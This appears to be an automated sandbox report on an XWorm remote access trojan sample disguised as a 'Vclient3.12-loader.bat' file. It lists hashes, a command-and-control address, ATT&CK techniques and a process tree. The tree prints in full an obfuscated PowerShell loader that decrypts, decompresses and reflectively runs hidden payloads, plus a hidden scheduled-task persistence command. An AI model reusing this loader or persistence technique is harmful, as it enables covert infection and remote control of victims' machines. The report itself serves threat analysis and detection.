xworm | f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473

Analysis

max time kernel
93s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20250217-en
resource tags

arch:x64arch:x86image:win11-20250217-enlocale:en-usos:windows11-21h2-x64system
submitted
04/03/2025, 03:26

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General

Target

Vclient3.12-loader.bat
Size

337KB
MD5

b0b26501fa33bc553f9a54ca28a89a85
SHA1

9f868d7d464375d1ea60c5234f4dd057ea85fce1
SHA256

f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473
SHA512

fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069
SSDEEP

6144:7rVhpfca9iHDDTI3nozeFFDNwPlxR+RG7PrwzZ0qw/FU1qBIEhY:dbaHDunIxoRWrOZ05U11EhY

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

45.88.91.55:8893

Attributes

Install_directory
%ProgramData%
install_file
sys-32.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2916-47-0x000001DC36F50000-0x000001DC36F82000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2916	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4264	powershell.exe
436	powershell.exe
2916	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2800786028-4028220528-1905518260-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4264	powershell.exe
4264	powershell.exe
436	powershell.exe
436	powershell.exe
2916	powershell.exe
2916	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4264	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	powershell.exe
Token: SeSecurityPrivilege	436	powershell.exe
Token: SeTakeOwnershipPrivilege	436	powershell.exe
Token: SeLoadDriverPrivilege	436	powershell.exe
Token: SeSystemProfilePrivilege	436	powershell.exe
Token: SeSystemtimePrivilege	436	powershell.exe
Token: SeProfSingleProcessPrivilege	436	powershell.exe
Token: SeIncBasePriorityPrivilege	436	powershell.exe
Token: SeCreatePagefilePrivilege	436	powershell.exe
Token: SeBackupPrivilege	436	powershell.exe
Token: SeRestorePrivilege	436	powershell.exe
Token: SeShutdownPrivilege	436	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeSystemEnvironmentPrivilege	436	powershell.exe
Token: SeRemoteShutdownPrivilege	436	powershell.exe
Token: SeUndockPrivilege	436	powershell.exe
Token: SeManageVolumePrivilege	436	powershell.exe
Token: 33	436	powershell.exe
Token: 34	436	powershell.exe
Token: 35	436	powershell.exe
Token: 36	436	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	powershell.exe
Token: SeSecurityPrivilege	436	powershell.exe
Token: SeTakeOwnershipPrivilege	436	powershell.exe
Token: SeLoadDriverPrivilege	436	powershell.exe
Token: SeSystemProfilePrivilege	436	powershell.exe
Token: SeSystemtimePrivilege	436	powershell.exe
Token: SeProfSingleProcessPrivilege	436	powershell.exe
Token: SeIncBasePriorityPrivilege	436	powershell.exe
Token: SeCreatePagefilePrivilege	436	powershell.exe
Token: SeBackupPrivilege	436	powershell.exe
Token: SeRestorePrivilege	436	powershell.exe
Token: SeShutdownPrivilege	436	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeSystemEnvironmentPrivilege	436	powershell.exe
Token: SeRemoteShutdownPrivilege	436	powershell.exe
Token: SeUndockPrivilege	436	powershell.exe
Token: SeManageVolumePrivilege	436	powershell.exe
Token: 33	436	powershell.exe
Token: 34	436	powershell.exe
Token: 35	436	powershell.exe
Token: 36	436	powershell.exe
Token: SeIncreaseQuotaPrivilege	436	powershell.exe
Token: SeSecurityPrivilege	436	powershell.exe
Token: SeTakeOwnershipPrivilege	436	powershell.exe
Token: SeLoadDriverPrivilege	436	powershell.exe
Token: SeSystemProfilePrivilege	436	powershell.exe
Token: SeSystemtimePrivilege	436	powershell.exe
Token: SeProfSingleProcessPrivilege	436	powershell.exe
Token: SeIncBasePriorityPrivilege	436	powershell.exe
Token: SeCreatePagefilePrivilege	436	powershell.exe
Token: SeBackupPrivilege	436	powershell.exe
Token: SeRestorePrivilege	436	powershell.exe
Token: SeShutdownPrivilege	436	powershell.exe
Token: SeDebugPrivilege	436	powershell.exe
Token: SeSystemEnvironmentPrivilege	436	powershell.exe
Token: SeRemoteShutdownPrivilege	436	powershell.exe
Token: SeUndockPrivilege	436	powershell.exe
Token: SeManageVolumePrivilege	436	powershell.exe
Token: 33	436	powershell.exe
Token: 34	436	powershell.exe
Token: 35	436	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4476 wrote to memory of 4764	4476	cmd.exe	82
PID 4476 wrote to memory of 4764	4476	cmd.exe	82
PID 4764 wrote to memory of 1824	4764	net.exe	83
PID 4764 wrote to memory of 1824	4764	net.exe	83
PID 4476 wrote to memory of 4264	4476	cmd.exe	85
PID 4476 wrote to memory of 4264	4476	cmd.exe	85
PID 4264 wrote to memory of 436	4264	powershell.exe	86
PID 4264 wrote to memory of 436	4264	powershell.exe	86
PID 4264 wrote to memory of 832	4264	powershell.exe	89
PID 4264 wrote to memory of 832	4264	powershell.exe	89
PID 832 wrote to memory of 3472	832	WScript.exe	90
PID 832 wrote to memory of 3472	832	WScript.exe	90
PID 3472 wrote to memory of 876	3472	cmd.exe	92
PID 3472 wrote to memory of 876	3472	cmd.exe	92
PID 876 wrote to memory of 4952	876	net.exe	93
PID 876 wrote to memory of 4952	876	net.exe	93
PID 3472 wrote to memory of 2916	3472	cmd.exe	94
PID 3472 wrote to memory of 2916	3472	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4476
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4764
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:1824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Vclient3.12-loader.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_256_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_256.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:436
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_256.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:832
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_256.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3472
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:876
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:4952
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IvmgzXjQuMVka6TfIyG1HvCr7DfXZYnR3O8Q3T8SJgE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbClhals/5qz6aDu+zXVpA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $aNToN=New-Object System.IO.MemoryStream(,$param_var); $rAzqO=New-Object System.IO.MemoryStream; $bDCjb=New-Object System.IO.Compression.GZipStream($aNToN, [IO.Compression.CompressionMode]::Decompress); $bDCjb.CopyTo($rAzqO); $bDCjb.Dispose(); $aNToN.Dispose(); $rAzqO.Dispose(); $rAzqO.ToArray();}function execute_function($param_var,$param2_var){ $Wdwoi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fjmwH=$Wdwoi.EntryPoint; $fjmwH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_256.bat';$vmyBp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_256.bat').Split([Environment]::NewLine);foreach ($lpWSJ in $vmyBp) { if ($lpWSJ.StartsWith(':: ')) { $jqVvs=$lpWSJ.Substring(3); break; }}$payloads_var=[string[]]$jqVvs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eb15ee5741b379245ca8549cb0d4ecf8

SHA1
3555273945abda3402674aea7a4bff65eb71a783

SHA256
b605e00d6056ae84f253f22adf37d6561a86d230c26fba8bfb39943c66e27636

SHA512
1f71fe8b6027feb07050715107039da89bb3ed5d32da9dca0138c393e0d705ebf3533bcccec49e70a44e0ec0c07809aef6befa097ad4ced18ca17ae98e6df0e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3pggi0ks.k0f.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_256.bat

Filesize
337KB

MD5
b0b26501fa33bc553f9a54ca28a89a85

SHA1
9f868d7d464375d1ea60c5234f4dd057ea85fce1

SHA256
f60cc29ba04d75d31227e8f0417640ed962d2cbfb537072b1b00aa89df9be473

SHA512
fcd9680de0ce271730f9cc5968d3172ed03e2463e53af66b19c898e7ac0e6c97717f8948d27e329f30f78ba051bb4a81acb4dc837ce602964e64470a6a0f3069

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_256.vbs

Filesize
115B

MD5
1e1fb4978be450626368735642b24cf6

SHA1
4648de013017c5cbd173da217de6ba6f8daffe13

SHA256
225be32b3cb44f61d848b16e6304c1675c55582cd222d28ad8713b755f712d3b

SHA512
ecb0ef101c02369daddaab4fe2ea8bf970b2b25887c16e944ebf29681f38376d0e24aca19e1258ff1544394e3b6c95d5565c29aee3ba94f4188f9a0c114cc50a

Download Submit
memory/436-16-0x00007FFA8D890000-0x00007FFA8E352000-memory.dmp

Filesize
10.8MB

Download
memory/436-26-0x00007FFA8D890000-0x00007FFA8E352000-memory.dmp

Filesize
10.8MB

Download
memory/436-29-0x00007FFA8D890000-0x00007FFA8E352000-memory.dmp

Filesize
10.8MB

Download
memory/436-17-0x00007FFA8D890000-0x00007FFA8E352000-memory.dmp

Filesize
10.8MB

Download
memory/2916-47-0x000001DC36F50000-0x000001DC36F82000-memory.dmp

Filesize
200KB

Download
memory/4264-12-0x00007FFA8D890000-0x00007FFA8E352000-memory.dmp

Filesize
10.8MB

Download
memory/4264-0-0x00007FFA8D893000-0x00007FFA8D895000-memory.dmp

Filesize
8KB

Download
memory/4264-13-0x0000020079950000-0x0000020079958000-memory.dmp

Filesize
32KB

Download
memory/4264-11-0x00007FFA8D890000-0x00007FFA8E352000-memory.dmp

Filesize
10.8MB

Download
memory/4264-10-0x00007FFA8D890000-0x00007FFA8E352000-memory.dmp

Filesize
10.8MB

Download
memory/4264-1-0x00000200796C0000-0x00000200796E2000-memory.dmp

Filesize
136KB

Download
memory/4264-14-0x0000020079960000-0x00000200799A2000-memory.dmp

Filesize
264KB

Download
memory/4264-48-0x00007FFA8D893000-0x00007FFA8D895000-memory.dmp

Filesize
8KB

Download
memory/4264-49-0x00007FFA8D890000-0x00007FFA8E352000-memory.dmp

Filesize
10.8MB

Download